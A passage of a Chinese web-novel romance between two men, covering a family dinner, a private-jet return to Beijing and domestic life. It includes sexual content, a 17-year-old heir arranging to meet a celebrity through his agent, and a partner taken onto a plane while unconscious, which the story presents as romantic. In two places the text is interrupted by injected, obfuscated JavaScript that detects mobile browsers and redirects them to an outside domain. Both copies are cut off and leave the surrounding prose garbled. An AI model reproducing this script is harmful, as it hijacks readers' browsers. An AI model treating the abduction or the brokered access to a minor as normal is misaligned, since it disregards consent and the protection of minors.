何湛程鼻音“嗯”一声:“现在见到了?满意么?” 何厉风飞快扫了戚时一眼。 对方冲他一挑眉。 何厉风轻啧一声,抬手松了松领带:“挺满意的。” 何湛程一把搂过身旁人肩膀,将戚时揽在怀里,说:“满意也不是你的。” 何冲霆打量的目光在对面情侣之间逡巡着,忽地一笑,突然用西语问何湛程:“这不会是摩天轮先生吧?” 何湛程一笑,姿态慵懒地靠进沙发背上,双腿叠起,也用西语回答:“不是摩天轮先生,是热气球先生。” 何冲霆了然,端起酒杯,敬向戚时。 戚时举杯回敬。 他从未想过自己会和两个未满十八的小屁孩喝酒,但见对方架势十足,想必自幼被家里大人领着混迹于生意场,早已被家族风气熏染得圆滑老成。 何冲霆想起来什么,抬头问:“时哥手底下是有个叫裴玉的艺人吧?” 戚时点点头:“对,他最近忙着拍戏呢,怎么,要签名吗?你是他粉丝?” 何冲霆笑了起来:“不是粉丝。我之前在电视上见过他,觉得还不错,时哥要不把他联系方式推我一个?放心,你手下的艺人,我肯定不会亏待他的。” 戚时轻啧一声。 要么说他讨厌干这行呢,身为老板,生意场上谋利在所难免,一不留意就容易成做人肉交易的了,何冲霆看着年纪小,没想到还挺不客气,张口就点名要他旗下这两年最当红的艺人。 这是常有的事,本身没什么好意外的,但一个对方是一个才17岁的少年,戚时不免觉得有些不可思议。 也因此晓得他家少爷大概的成长轨迹是什么样儿的了。 他17岁还是个在深夜里对着毛|片撸|管的懵懂小子,这帮还没成年的豪门少爷就已经随便玩儿上影视明星了。 甚至还不是所谓的粉丝。 只是偶然间在电视上瞥过一眼,觉得还算不错,就让人家送上榻来。 戚时只是在恋爱关系上渣,做老板顶多就是带着艺人出去应酬敬个酒,人口倒卖这种缺德勾当他不屑干。 可,金主自己出现了,他也没理由替艺人回绝。 如果人家愿意往上爬,他不介意为自家艺人搭建通往成功的桥梁。 尤其是裴玉,一路走来诸多不易,看似性格温润可欺,实则外柔内刚,决绝果断,戚时想,他家小裴大概率是愿意的。 对何冲霆这种毛头小子,戚时没讨好的必要,更没有利益分成在,单纯不想让裴玉错过这个机会,稍作思量,就说:“我可以帮你问,但愿不愿意,还得看他自己。” 何冲霆无比自信地俯身过来,拨弄着手机:“来,时哥,咱俩先加个微信,我先发你张我的照片,你发给他。” 戚时点头:“成。” 何湛程在一旁臭着脸:“你别私藏啊。” 戚时头也不抬:“你们何家的少爷,有你一个就够我受的了,再来一个我消受得起么?” 何湛程醋劲儿上来,狠狠踩他一脚:“你还敢想着再来一个?!” 何厉风在一旁见怪不怪,晃着杯中香槟,浅酌慢饮地笑,用西语跟何湛程打趣:“三哥,看来你很喜欢他啊。” 何湛程瞥他一眼:“怎么,你也喜欢?” 何厉风似笑非笑:“我还没不识好歹到要抢你的人的地步。” 何湛程眯起眼:“你最好是。” 何厉风虚虚一抬杯,敬他:“但我可以等你们分手。” 何湛程深眸一沉,刚想说一句“我们不会分手”,话到嘴边,说不出口。 这场由他一时激情开始的感情,何时终结,连他自己也不知道。 他唯一清楚的是,他和戚时之间的激情不可能保持一辈子。 “就算我们分手了,”何湛程眸底薄凉,“你也不能碰他。” 何厉风诧异:“为什么?” 何湛程正要答,旁边戚时磨着牙插嘴进来:“你们几个,从刚开始就当着我的面说西语,几个意思啊?故意欺负老子听不懂是吧?” 何湛程和对面两人默契对视一眼,各自收敛几分。 何湛程笑:“哪能呢,他们问咱俩怎么好上的,不好意思让你听见罢了。” 何冲霆和何厉风连连小鸡啄米着点头。 戚时挑眉,半信半疑的目光打量一圈他们:“真的?” 何冲霆打岔道:“时哥,你快帮我问问吧。” 戚时心里一阵窝火,突然对这三个姓何的颇为不爽,挪着屁股离何湛程坐远了点儿,点开和裴玉的聊天框,发过去一张何冲霆的私人照片: 是一张在竞技赛马场上拍摄的、少年全副武装的骑马照片。 手持缰绳,身材高挑匀称,戴着顶黑色头盔,遮住何冲霆那张略显青涩的脸,只露一双精明锐利的亮眸,透出少年野心勃勃的征服欲。 戚时还没编辑完,裴玉先发消息过来: —这是三少吗? —真帅 —你们去骑马了吗? 戚时脸立刻就臭了。 毫不犹豫删掉消息栏那一行“这是何冲霆,程儿叔叔家的堂弟,他看上你了,问你愿不愿意跟他,其他条件都好说,你如果不愿意,我现在就替你拒了”,换成: —这不是你的三少,这是霆少,他想和你交个朋友,问我能不能加你的微信,能么? 裴玉发过来一个纳闷挠头的表情包: —霆少是谁? 戚时: —我在墨西哥新交的朋友,你的小粉丝 裴玉: —这么高,还“小粉丝”啊? 戚时: —17岁么,读高中的年纪 裴玉: —哦哦,原来这么小啊,他想加那就让他加呗,反正加上了也不怎么联系,过阵子我再清理掉就好了 戚时: —我奉劝你一句,你俩加上了,不说话归不说话,但只有他清理掉你的份儿,可没有你清理掉他的份儿 裴玉发觉不对劲,忙问: —什么来头? 戚时哼一声: —说了啊,你的脑残粉啊 裴玉: —行,我知道了,我会注意的 戚时就把裴玉微信推给何冲霆,做起了甩手掌柜:“老子可不是给你们拉皮条的,你想问什么,加上他以后自己问吧!” 何冲霆一笑,应了声“好”,放下酒杯,给裴玉发送好友申请, 对方一秒通过,礼貌地发来一条: —你好,我是裴玉。 何冲霆修长手指飞快按着键: —裴玉,我很喜欢你,明晚见个面吧。 裴玉: —不好意思,明晚我有两场夜戏,飞墨西哥太赶了。 何冲霆笑了笑: —我明晚在加州,你那边现在刚过中午12点吧?下午好好休息,把自己仔细收拾一下,晚点儿飞过来找我,机票我帮你报销,剧组的误工费全算我的。 裴玉犹疑道: —你……不是高中生么? 何冲霆: —如果你认为我是,那么我就是。 裴玉凌乱了: —你到底是谁? 何冲霆: —明晚加州九点,你来找我,我亲口告诉你。 49.第49章 漫漫长夜,一觉旖旎长梦。 何湛程睡眼惺忪,在男人胸膛里翻了个身,一条雪白得近乎色*情的胳膊从被窝里伸出来,搭在同样赤*裸健壮的男人侧腰上。 今晚的似乎格外漫长。 他含混咕哝了句:“好黑啊,几点了,天怎么还没亮?” 戚时俯身过来,轻轻拨开他的刘海,吻落在他眉心:“崽儿,真乖。” 何湛程睡不踏实,轻推戚时一下:“有点闷,二哥,你去开窗透点风吧。” 不晓得是不是昨晚在游艇歇下的缘故,他总觉得耳边嗡隆隆的,但又不似风吹海浪,倒像是在疾风刮过的高空。 当然,也有可能是昨晚喝多了,戚时干得他又猛,他耳鸣出现幻觉了。 戚时搂着他不动,柔声哄道:“崽儿,还早着呢,再睡会吧。” 何湛程继续推他,手脚并用,催促着:“我睡不着了,你去开窗,快点快点。” 戚时清咳一声,说:“现在……没法开窗。” “为什么啊?” 戚时顿了顿,不动声色地收紧手臂,将人死死钳制在自己怀里,语速飞快地说: “因为现在是在飞机上,我要带你回燕京。” 何湛程霍然睁眼。 光线昏暗的室内,他不敢置信地瞪着面前强装镇定的男人:“什么?!!” 戚时压过来堵他的嘴。 “程儿,乖,跟我回去,哥什么都听你的。” “滚!傻逼!别碰我!” 何湛程气得挣扎起来。 戚时没想到何湛程被自己折腾了一整夜,醒来居然还这么劲儿大! 对方一顿拳打脚踢猛如虎,对他毫不疼惜,完全就是谋杀亲夫的力道,戚时闷哼几声,很快就疼得快遭受不住,赶忙松开手,捂着自己的命根子转过身去。 何湛程顺利抽身出来。 浑身冒着寒气,从戚时身上跨过,顺路在对方脸上踩了两脚,下床去按键开灯。 这是一间设在私人飞机里的豪华套房:临窗的黑色真皮沙发椅、奢华宽敞的浴室、配置按铃叫特殊服务的双人大床、铺着雪白小羊绒地毯的层层台阶,舱门外,则是一间开放式餐厅与咖啡厅结合体,最靠里则是乘务人员的休息场所。 这令人无比熟悉的机舱陈设布置。 何湛程恨得牙痒痒。 他就知道戚老二和何老二这俩二货凑在一起干不出什么好事来!! 何棣坤这个卖弟贼!看热闹不嫌事大,本来何湛程还有点纳闷,何棣坤这阵子这么忙,怎么会为了他区区一个大学录取专门抽时间举办游艇派对? 原来这货是在给他送行呢! 还是在他不知道的情况给他送行! 还有戚时这个不做人的畜生! 昨晚送走完何冲霆和何厉风,戚时一直心不在焉,何湛程还以为戚时在吃裴玉的醋,觉得他家大宝贝傻乎乎的,怪可爱的,于是回去后对戚时百般勾引,又哪里会想到,这货当时正在心里想法设法地安排他呢! 戚时把他*得死去活来,还一个劲儿地说爱他,何湛程昏过去好几次,又爽又臊,没好意思问戚时今晚上是不是吃药了,原来—— 呵呵,原来这狗男人就是故意要把他弄晕,然后装货上飞机打包带走!! 何湛程在房间里搜罗半天,没找到自己的衣服,气得噔噔噔跑回床边,再次抬着脚丫子踩戚时脸上,质问:“我衣服呢?藏哪了?” 戚时躺着枕头上,满脸温柔地握住他脚踝,眼睛一眨不眨地盯着他:“程儿,你那里真好看。” 何湛程充耳不闻,脚下狠狠碾他脸:“问你呢!衣服呢!衣服!!” 戚时疼得嘶了口气:“我叫人拿走了,等飞机落地才会送进来。” 何湛程吼他:“你是不是有病!!” 戚时一脸平静地注视着他:“程儿,跟我回去吧,我会好好对你的。” 何湛程气不打一处来:“我TM现在冷!” 戚时一笑,冲他张开怀抱:“来这里,我暖和。” 何湛程瞪他一眼。 戚时偏过脸,开始一点点吻他脚。 脚趾、脚背、脚踝……男人跪着床上,沿着他的小腿肚,一路往上埋进。 “程儿别气,哥好好伺候你。” 何湛程冷哼一声,一脚把人踹回去躺着。 “滚吧你,谁稀罕!” 他现在没心情跟这个表里不一的诱拐犯做。 之前的完美计划都泡了汤,何湛程心情乱糟糟的,他讨厌这种被动的、处于下风的感觉,谁也不行。 但—— 按理他该将人砸得头破血流才算正常。 何湛程沉着脸,抬腿迈过戚时,拉过所有被子,将自己蜷成一团,紧靠着舱里侧躺下了。 戚时立刻蹭过来将他整个人抱住,含笑道:“程儿,朝我这边睡呗?” “滚,我现在不想理你。” 戚时啄了几下他耳朵,轻笑:“可是我想理你。怎么办?程儿,你这次没打我,我突然就更喜欢你了。” 何湛程扭头瞥他一眼,冷冷道:“戚时,你别太得寸进尺了。” 漠然的眼神,不掺杂半分的私人感情,全是底线遭挑衅后的警告。 戚时一愣,蓦地就想起之前在坎昆他想离开的那天,何棣坤本来正和他说笑,只因他一句话,对方忽地冷下脸,抬起夹烟的手指,警告他不准再插嘴。 这其实是一个很不礼貌的姿态,尤其对他戚老二这种有身份地位的年长者来说,那位小他三岁的公子哥儿更是毫无尊敬可言。 戚时知道,像何湛程和何棣坤这种出身大户人家的子弟,所谓亲情,爱情和友情,不过是个人身份的附属品。 亲情是一条坚固的、绵延无穷的锁链,维系着整个家族的血脉,为这帮嫡系旁支的子弟提供尽情施展才能的广阔天地; 友情则是他们实战征途中积攒下的新一辈人脉。所谓物以类聚,人以群分,真正的世家子弟大多相识于幼时,青梅竹马,彼此联合,在共同构建的商业帝国里互相提供利益支撑,一代传接一代,谋求长远发展; 而爱情—— 爱情是最容易抛弃的东西。 无论初时何等情深意切,一旦他们遭到冒犯,哪怕再刻骨铭心,最终都要为他们高不可攀的身份让路。 据说何棣坤就是经历过一场的人。 传闻,何二少爱得一个人爱得发疯,后来遭人戏弄背叛,何棣坤怒不可遏,强行将人掳走,绑架囚|禁,手段用尽,没想到对方背景深厚,一番操作,把他告进了监狱,何家老大为此四处奔走,兼施以雷霆威压,费尽周折才把何老二从牢里捞出来。 何棣坤出狱后,感念大哥恩德,知错悔过,果断挥手斩情丝,转身就回归了家族,一心搞起了事业,从此夜夜笙歌,后宫无数,日子过得潇洒又痛快,谁还能记得起他曾在爱情面前的不堪一击? 一场半路偶遇的情,一个萍水相逢的人,于他们这些权贵子弟而言,轻如鸿毛罢了。 戚时默然。 他并没被何湛程的眼神给刺伤,他大多时候是一个理智成熟的成年人,他很懂得,也理解。 他和何湛程,他们从一开始就不是一路人。 “程儿……”戚时仍舍不得放手,依偎在何湛程后背,轻声道:“如果你不想跟我走,等五小时后飞机落地,我把你送回去,以后我们异地,有空了我就飞过去看你,你也要经常给我打电话,行吗?” 何湛程闭着眼,没吭声。 戚时一顿,想了想,又说:“不想打电话也没事儿,你发信息给我,你放心,不管多晚我都会回你,这样行吗?” 何湛程依旧闭着眼,不说话。 戚时心脏一沉。 安静了好半天,他忍不住问:“你……你要和我分手吗?” 何湛程立刻道:“不是。” 戚时又笑了。 嘴唇落在怀里人后颈吻着,闷声道:“那你理理我,我害怕。” 何湛程扭身过来,不轻不重地给他一脚,抬眼问:“你这么牛逼,有什么好怕的?” 戚时埋脸在他胸前:“怕你又跑了。” 何湛程瞪他:“谁让你随便掳我的?” 戚时无奈叹气:“我真的不想和你分开。” 何湛程默然。 戚时去被子里牵他手,轻轻晃动着:“程儿,你不想要你的亲亲好二哥了吗?” 何湛程没忍住笑,抬手揪了揪他耳朵:“少学我撒娇,学得一点也不像。” 戚时心里的石头落下地来。 手臂相贴,腕间磨蹭着何湛程小臂上缠着的圆润珠子的温度,这是他们亲密无间的证明。 戚时记得那是在一场淅淅沥沥的雨夜。 他承认自己一直对何湛程和他Z时摘掉护身符心存芥蒂,于是那晚故意穿得很*,半透明薄网纱的黑衫,胸腹沟壑在网纱布料里若隐若现,腰间束紧扎在修长的西裤里。 他强忍着自尊心羞耻,走到少爷的床边,低声问少爷,要不要试试这样一个他? 何湛程看呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488866|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,像只猛然蹿起的巨兽,两眼发红地扑过来。 那是何湛程难得一见的、糙砺强悍的一面。 他与他沉沦颠倒于云雨之中。 何湛程痴迷沉醉到忘记将自己视若生命的宝贝沉香珠褪下来。 事后,戚时理直气壮地向人索要奖励,何湛程让他随意,戚时就把那串珠子从何湛程手上摘下来,戴在自己腕上,一脸得意地辗转欣赏。 何湛程枕着胳膊躺在他旁边笑着看,也没拦。 戚时扭头问:“能送我吗?” 何湛程摇了摇头,说:“可以给你戴。” 戚时又问:“只有我一个人戴过吗?” 何湛程一笑,忍不住低头吻他:“傻瓜,除了你,还能有谁?” 戚时闭上眼和他接吻。 温热的泪液从他含笑的眼尾缓缓流淌出来,在这个风流倜傥的少爷身上,他总能感受到无比的快乐和幸福。 飞机落地是在次日下午四点。 何湛程还好,前半夜被人睡,后半夜自己睡;戚时状态要差得多,前半夜睡人,中途搬运舍不得让别人碰他家宝贝,把人脱了穿,穿了又脱,后半夜守着这么一躯漂亮的身体,他情难自禁,忍不住了抱着人家半自行解决了好几发,等人醒来闹腾,他又费劲巴列地哄人,几乎是整夜没阖眼。 何湛程就在机场附近定了家五星套房,决定先陪着戚时倒时差,等俩人过了夜再回京。 茉莉捧着束大红玫瑰,长发高盘,一身干练的职业西装,踩着高跟鞋出现在机场。 身后带着四五个黑装男人,浩浩荡荡地来给他们接机。 何湛程一见她那副盛装打扮就诧异,寻思着,谁家秘书给老板接机还带玫瑰花的? 扭头问戚时:“你们公司接机仪式还挺浪漫啊?” 戚时黑着脸,对何湛程毫不吃醋的打趣行为感到一万分的不满。 两方人碰上,茉莉瞥一眼这对儿高大情侣衣衫下相牵的手,不禁面露微笑。 将那束大红玫瑰花递给何湛程,声音含笑脆亮:“三少,好久不见,欢迎回国!” 何湛程立马笑成一朵花,接过玫瑰,胳膊肘轻撞了下身旁人。 “钢铁直男还这么会来事儿,从前真是小瞧你了。” 戚时笑声搂住他腰,额头抵在他额角,轻轻蹭了两下:“只有想或者不想,没有会或者不会。喜欢么?” “喜欢,”何湛程扭头凑在他脸庞亲了一下,笑道,“谢谢乖乖二哥。” 茉莉看得脸上一红。 这俩人完全就是新婚蜜月期啊,她还从没见过老板和谁有过这么亲昵无间的举止。 她不便再当电灯泡,对戚时道:“戚总,那我们就先去做交接了。” 戚时点头应了声,交代:“飞机上放的还有程儿的行李,东西不少,你回头全送我那儿去。” 茉莉点点头:“好。” 戚时:“我们果果最近怎么样啊?” 茉莉笑:“挺好的,又长大了一大圈,我都快抱不动她了。” 戚时点头:“好就好,也就这一回了,以后我们再不分开了。” 何湛程低头嗅着花,假装听不懂,等茉莉走了,他问戚时,茉莉跑来机场做什么交接? 戚时揉着他头,笑道:“你亲二哥觉得咱俩能守一辈子,把那辆飞机送我当礼物了。” 何湛程笑了,说:“那这就是聘礼了?” 戚时也笑:“你都没求婚,所以不算聘礼。” 何湛程哼一声:“你真贪心。” 戚时半开玩笑着逗他:“那你给不给?” 何湛程状作思考,想了半天,说:“看心情。” 戚时不太满意:“愿意就是愿意,不愿意就是不愿意,这有什么好看心情的?” 何湛程从花束里抬头,望着他:“戚时,我今年才二十,你给我点时间想想。” 戚时:“……” 猝不及防因为年龄被暴击了,最近在墨西哥的日子过得太快活,每天都气血十足神采飞扬的,仿佛眨眼又回到十七八最潇洒得意的年纪,他险些都忘了,他已经二十七了。 想找个人结婚守一辈子,这是他近两年不时晃过心头的简单愿望,却并不在何湛程这种青春正好的、既是前途无限的金融界精英学生,又是浪荡惯了的公子哥儿的考虑范围内。 戚时不动声色地拿走偷藏在花束底下的戒指盒,粗糙掌心抚过少年仰望着他的脸庞: “行,没关系。” “程儿,我们来日方长,你慢慢想。” 50.第50章 清晨,酒店。 何湛程一睁眼,就见床头摆着一大束盛开绽放的卡布奇诺,和一套新衣及配饰。 古驰的墨镜、一弯互扣式双G手镯,百达翡丽最新款冰蓝面的5308G男士腕表,巴黎世家的印花红T恤,克罗心灰牛王的牛仔裤,台灯柜上摆着双LV Trainer白绿运动鞋,旁边还有两个打开错落摆放的项链盒:一条宝格丽的满钻十字架,一条卡地亚白金素链,随他心情搭配。 挂着张浅蓝色便贴,力道遒劲漂亮的大字写着: 我去楼上健身房了,醒了给我发消息。 何湛程缓缓呼出一口气,闭眼重新躺回枕头上。 吓他一跳,大早上一睁眼,几千万的奢侈品堆在床前,他还以为戚时突然玩腻了,趁他不注意跑路把他给甩了呢。 何湛程窝在被子里,舒服地眯了半小时,然后打着哈欠抹了把脸,起身洗漱穿衣。 他们昨晚什么都没干,戚时洗完澡后倒头就睡着了,今天也不是什么特殊的纪念日,何湛程浑浑噩噩地立在镜子前刷牙,猜测着,大概是因为自己肯跟戚时回国,那不解风情的傻大个儿才突然献这么一出殷勤。 何湛程选了那条白金素链戴脖子上,随手抓了个发型,然后半蹲下身,举起手机,靠酒店床头的花束和一堆金光闪闪的礼物前,笑容灿烂地单手比耶,给戚时发了张自拍。 然后又将这张照片同时上传到海内外的几个社交平台。 他好久没活跃了,时隔近一年再次发动态,单纯为分享心情。 上一张照片,是他和戚时去坐热气球那天拍的、彼此揽着对方肩膀的“哥们式”的照片。 在海外的社交平台上,他用中文配图一条“你好,哥哥,我很爱你”。 戚时不知道这条图文的存在。 只有何棣坤跑来捣乱,在底下骚骚地用中文评论了:Baby猪~~我也好爱你【玫瑰】【玫瑰】【玫瑰】 这是他一年前清空所有社交平台后,第一张更新的动态,收获两千多赞,九百多评论,和一条在社交平台上转发他帖子,专门@他的问候: 亲爱的约书亚,你最近过得好吗?坤的变化好大,祝你们玩得开心。 何湛程险些忘了那人的存在。 一秒果断拉黑,同时开启陌生人禁止@他的设置。 何棣坤私下找他吐槽,说洛厄尔是不是老眼昏花了,他比戚时帅出十倍不止,洛厄尔怎么能把戚时错认成他? 何湛程抡胳膊就给他一拳头,说,少臭美了,我二哥比你帅多了! 何棣坤一脸纳闷,反手指指自己:“那么这位同志,请问我是?” 何湛程一抬下巴:“路人乙。” 何棣坤重重地弹他一个大脑崩儿,说:“那你就是路人丙!” 话音刚落,哥俩突然福至心灵,对视一眼,异口同声地笑喊道:“那老大就是路人甲!” 他们总是互相嫌恶着彼此的性格,又总有那么多无聊的笑闹与默契,或许是血缘在作祟,让他们即便有再多嫌隙也不至于处成仇敌。 何湛程更新完状态,立刻又给路人甲发消息: —托你的福,本少爷被掳回国了,银行卡该解冻给我解冻,还有我那几辆车,你派个人全给我开到燕京去,地址我待会儿发你。 何闽轩: —知道了。 何湛程一顿,好奇问: —你现在是不是偷笑? 何闽轩: —我是光明正大的笑。 何湛程:“……” 上午十点启程进京,戚时九点半才回到酒店房间。 这人明显是洗过澡了,一身清爽的黑色速干运动装,肩上搭着条白毛巾,高大的身躯,前凸后翘倒三角,一米多的大长腿修长笔直,脚下踩着双运动鞋,属于穿衣显瘦脱衣有肉那款的。 戚时推门进来,给他带了盒鲜切水果,问他下楼吃早饭没,何湛程扑过去抱他,埋头蹭在他颈间,嗅到他身上浓烈的烟味。 何湛程闷声道:“早上你没在,吓我一跳呢。” 戚时笑笑,手掌轻拍了拍他的背:“我哪里舍得扔下你。” 何湛程吸吸鼻子,问:“你是不是又跑去抽烟了?” 戚时应了声“嗯”,然后轻轻推开他,说,“我去洗个澡吧。” 何湛程拉住他手,抬眼望他:“你怎么了?不开心吗?” 戚时指腹摩挲过他脸,笑道:“没有,就是太高兴了,一想到马上就要带你回家,突然就不知道该怎么面对你了。” 何湛程哼哼两声,他信他个鬼! 这么长时间了,他还不了戚时? 这人心里一有事就开始装深沉,好歹是睡过一张床关系,他能看不出来? 戚时托着他脸,温柔地亲他一下,然后走去浴室洗澡。 何湛程顿了顿,站在人身后突然问:“我之前给你戴过的那两块儿手表,你都给我带着呢吧?” “带了,”戚时临关门前,好奇问他,“怎么,那两块表很特殊吗?” “没,”何湛程笑,“就是很普通的情侣手表。” 男人心,海底针,他早晚得想法子把那手表焊死在戚时的手腕上才行! 崭新炫酷的迈凯伦超跑宛如一条迅捷冷酷的黑豹,在京郊高速上风驰电挚一路狂飙。 何湛程戴着新墨镜,坐在副驾吃水果,不时叉块菠萝喂给身旁人,问旁边人什么时候换车了? 戚时淡淡笑着,说,这其实是送给他的礼物。 何湛程满头问号。 他瞬间就又不理解了。 在这么一个平凡的日子,戚时送他几千万的小礼物就算了,还送几千万的车? 眼尖地察觉到对方含笑眸底一晃而过的忧郁,何湛程心里咯噔一声,很快就意识到了。 但—— 就算意识到又怎样? 他总不能因为人家爱上了他,他就轻易把自己的一生许出去吧? 戚时快奔三的人了,或许早就在花花世界里玩儿够了,可他何湛程还有大把的青春好时光呢! 他还有很多地方没去过、还有很多有意思的人没遇见过,这才二十岁的人生当口,男朋友也才交往过一个,戚时拿着才几千万的东西就想把他锁牢,那怎么可以? 恋爱是恋爱,结婚是结婚。 虽然偶尔,何湛程也会在脑子里蹦出类似“我似乎过于喜欢这个人了,说不准以后会和他一直交往下去”的念头,但戚时先他一步真正做出来了,他又觉得这个事情不太应该。 他甚至在背地里演练过几次,想着,如果戚时敢跟他求婚,他就跑路。 何湛程假装没看到戚时表情,扭过头,望向另一边远山葱郁的景色。 驾驶座上的男人也很淡定。 何湛程知道,戚时也看出他已经看出来了。 他们谁都没戳穿。 疾风里,男人的声音很淡: “程儿。” 何湛程托腮靠在车窗,没回头,懒洋洋地应着:“嗯?” 男人伸手触摸了下他的后背,笑道:“没什么,坐稳点儿,我怕你飞走。” *** 回到戚时的独栋别墅已经是中午十二点。 王姨一身蓝白碎花夏装,桌边摆着茶水点心,一脸晕乎乎的,脸上遮住个小扇子,正躺在前院花园的摇椅里晒太阳打瞌睡。 果汁儿身体增长速度惊人,上次见还是只奶萌的小灰狼,这次就变成个威猛壮硕的大狼狗,一身油光锃亮的皮毛,眨着亮晶晶的葡萄大眼,脖子里戴着暗红项圈银铃铛,一听见主人的车鸣声,叮叮当当的,兴奋地撒欢着飞奔出来。 “汪汪!汪汪!” 一路诡异沉默的氛围,终于被这几声活泼的叫唤声闹腾得欢快起来。 何湛程让戚时赶紧去哄他阔别已久的宝贝闺女,自己则坐上驾驶座,将车驶进车库。 王姨听到动静,连忙整理好衣服,起身快步迎了出来。 何湛程姿态潇洒地将墨镜别在脑后,单手倒车入库,另一手冲她招着,笑道:“王姨好!” “诶诶诶,”王姨连声笑应着,“你好你好!” “王姨好久不见啊,”何湛程笑眯眯冲她卖乖,“您还记得我嘛!” “诶,记得记得!” “王姨,我这次可能得在二哥家里多住阵子了,您可别嫌我烦啊!” “哎呀!”王姨笑成一朵花,越瞧他越喜欢,忙道:“瞧你说得,怎么会!” 戚时抱着果汁儿蹲在旁边,冷哼一声,有点看不惯这臭小子对着一个中老年妇女耍什么帅。 上次何湛程来,只是临时住宿一夜,戚时懒得跟王姨解释那么多,直接给人放假,把她支开了。 这次不一样。 戚时给自己做好了心理建设,预计何湛程至少会在他家住个一两年,趁着王姨去厨房给他们做饭,一把拉过何湛程,问这位一言不合就会跟他闹分手的淘气男朋友,他俩该怎么跟王姨说着? “说什么说?我们是主人,对一个佣人有什么好解释的?” 何湛程墨镜仍别在耳后,两手插兜,闲闲倚靠在墙边,恢复他一惯的少爷做派。 一张清俊白皙的面庞,淡淡的琥珀色眸子,高傲又冷凛:“二哥,你总这样顾忌别人的心情,不觉得累么?” 戚时微怔。 他望着何湛程,这人刚才还亲切地和那位老实勤恳的保姆谈笑,现在又漠着一张脸,高高在上,不近人情又有理有据。 心口骤然感受到一股致命的吸引力。 没奈何,他天性就爱这样的人。 戚时忍不住依偎过去,伏在何湛程肩窝里,蹭头依恋:“我的意思是,总得让她对你有个称呼,我们以后都住一间房……嗯,你喜欢她怎么叫你?” 何湛程站姿笔直地立在原地,抬起手,抚摸宠物般,掌心摩挲着怀里人的后颈,笑道:“这是你的家,你问我干什么?自己想。” 于是戚时就比较保守地就跟王姨说,何湛程是他朋友的弟弟,沪上人,来燕京玩儿,暂时借住他家,真实身份是位千金大少爷,打小身价就过百亿,言语之间,要求王姨平时一定要多供着他家少爷点儿。 王姨就很有眼色地称呼何湛程一句“小少爷”。 少爷也觉得很有意思,仿佛他一夜之间就成了戚时豢养的金丝雀似的。 王姨中午做饭,按照戚时吩咐,烧了清淡口的三荤两素一汤,何湛程瞧着桌上根本没有戚时喜欢的菜,蹭地火气上来,朝对面人瞪了一眼。 戚时正从那锅腌笃鲜里给他盛汤,察觉他眼神,一愣:“咋了?不合胃口?何老二说你喜欢吃这些啊。” 何湛程又变得烦躁躁的。 回京途中,经过加油站,他听见戚时肚子在咕咕叫,这才意识到戚时抽了一早上的烟,根本没吃早饭。 那嘴硬的狗男人非说不饿不饿,矫情又欠揍,何湛程冷着脸,跑去便利店给人买饭,本来要买热狗香肠包子这类高热量食物,又怕毁掉戚时早上的运动成果,于是帮人拿了两个低脂三明治和一瓶电解质饮料,没想到戚时为了证明自己是真不饿,每样都象征性地吃了两口,然后扬手就要扔垃圾桶。 何湛程也不知道自己抽什么疯,撒气似的,一把将人吃剩的俩三明治夺过来,自己全吃了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对面,何湛程一脸淡淡,继续吩咐:“再做一份你家老板喜欢吃的。” 王姨一脸八卦地瞄向戚时:“那我……再重做一份去?” 戚时头疼地挥挥手:“做,做两份,以后饭菜都分两样做,薪资也加倍。” 王姨打探地目光在老板和少爷之间打量了几眼。 她是见多识广的金牌保姆,一眼看出端倪,当即低头闭嘴,一溜烟跑去厨房重新忙活起来。 隔着一条长桌,戚时居高临下地站着,对面,何湛程浑不在意地坐着,二人目光激荡撞上。 戚时皱眉道:“以后不满意的事要先和我商量,不许再这样了。” 何湛程挑眉:“怎么,只准你疼我,不准我疼你?” 戚时又气又心软,无奈道:“那你也要先和我商量一下。” 何湛程不屑,举起小镜子,抬手随意地撩弄着刘海,满不在意道:“做几个菜而已,这么点儿小事还要跟你商量?你觉得你是家里的皇帝?那我回头是不是连吃饭撒尿去哪儿玩儿都要跟你打报告?” “戚——大——总——裁,”何湛程开始阴阳怪气,“是您老人家要我跟您回家的,您在飞机上也说过,以后什么都会听我的,如果我在这个家里没有话语权,那我走好啦。” 戚时:“……” 咬了咬牙,耐着性子哄着:“你别任性,只要你说的话有道理,我肯定都听你的。” 何湛程一扭头,冲他笑:“那好啊,过两天我在燕京有几个好朋友要去拜访,暂时就不在家住了,你不许管我,也不许问我去哪儿了。” 戚时眉头拧成疙瘩:“你故意的吧?” 故意绕弯子给他下套,就是为了跑出去见那些不三不四的人? 何湛程笑眯眯不作回应。 他上午就和戚铭约了见面,势必要搞清戚老二这种外强中干的威猛男人怎么会吃上氟西汀的。 除此之外,他还和佟校长那帮燕京大学的领导们约了好几场饭局。 他上燕京大学,实力归实力,捐楼归捐楼,他是小辈,很多特殊待遇也不是平白无故就降临到他何湛程的头上,他知道自己是沾了他家老爷子的光,但如今他本人在人家的地界儿上,想要以后行走方便,他不得亲自请那帮国内顶尖权威的老头子们吃顿饭意思一下? 但这些事儿能告诉戚老二,让这货有机会嘚瑟炫耀么? 当然不能。 他得找个机会突然说出口吓死这货、让这货更加爱得他发狂才行。 王姨将重新做好的两份口味不同的餐端上桌,何湛程见戚时一脸阴气沉沉地瞪着自己,怕人真不高兴了给他锁家里,连忙端着饭坐到对方身旁,殷勤地给戚时夹肉吃。 “来,二哥,饿了吧,多吃点。” 戚时瞥他一眼。 何湛程脑子飞速转着,想着应对策略,本以为戚时要问他想去找谁,没料对方凝神盯了他半天,说:“程儿,我给你留点儿自由,你也要给我留点儿尊重,行吗?” 